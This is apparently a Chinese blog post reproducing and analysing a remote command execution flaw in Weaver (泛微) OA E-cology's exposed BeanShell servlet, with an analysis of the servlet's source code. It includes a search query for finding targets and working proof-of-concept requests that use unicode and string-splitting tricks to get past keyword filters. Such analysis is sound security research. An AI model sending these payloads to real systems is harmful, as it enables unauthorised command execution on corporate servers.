泛微OA远程命令执行漏洞复现分析

一、前言

前不久,泛微OA爆出远程命令执行漏洞,好多小伙伴都在刷朋友圈,我当时就特意看了一下这个漏洞,研究其原理,并对其作出简单的复现分析,能力不高,希望各位表哥批评指正。

二、信息收集

简单介绍一下泛微OA E-cology,它是一个被广泛运用的OA系统,通过百度高级搜索:泛微协同商务系统,即可发现大量企业用泛微OA作为协同办公系统。

三、漏洞复现

打开某公司存在漏洞的页面:

可以发现漏洞的利用方式是用的BeanShell组件,通过利用直接暴露出来的Beanshell组件,即可使用exec等函数执行任意命令。

测试方法1:

直接将print(“hello!”)换成exec(“whoami”),就可以测试能否执行系统命令了。

测试方法2:

如果存在防火墙将exec或eval关键词过滤了,可通过unicode编码,字符串拼接的方式进行绕过,给出两个网上表哥们给的POC:

1、 bsh.script=\u0065\u0078\u0065\u0063(“whoami”);&bsh.servlet.output=raw

2、bsh.script=eval%00(“ex”%2b”ec(bsh.httpServletRequest.getParameter(\”command\”))”);&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami

不得不说,表哥们还是厉害啊,已经研究很透彻了。

四、漏洞分析

问题主要还是出现在BeanShell这个组件上,github有官方文档

BeanShell是一个小型的,免费的,可嵌入的Java源解释器,具有使用Java编写的对象脚本语言功能。 BeanShell动态执行标准Java语法,并通过通用的脚本编写便利进行扩展,例如松散的类型,命令和方法闭包(如Perl和JavaScript)。

下载泛微OA所使用的BeanShell 2.0b4源码包并查看java代码,由于访问的组件路径为/weaver/bsh.servlet.BshServlet/,故推测源码位于bsh.servlet.BshServlet类,

看到此处,可得出刚才的推测成立,那接着往下看,由于我们发现漏洞是以POST传输的,在类中发现存在doPost方法,并且doPost是对doGet的二次封装,

image

接着往下看doGet方法:

image

doGet获取bsh.script等参数,并通过evalScript方法处理,将结果给到script Result对象。继续看evalScript方法,script最终被bsh.eval处理

image

image

继续跟进bsh.Interpreter类的eval方法,跳转到bsh.classpath/ClassManagerImpl.class类,该类调用了bsh.commands/exec.bsh脚本,该脚本可以执行命令。

image

image

  • 通过
  • 未通过

0 投票者

这分析是从哪里copy了一波。然后自己又总结了一下。。。。。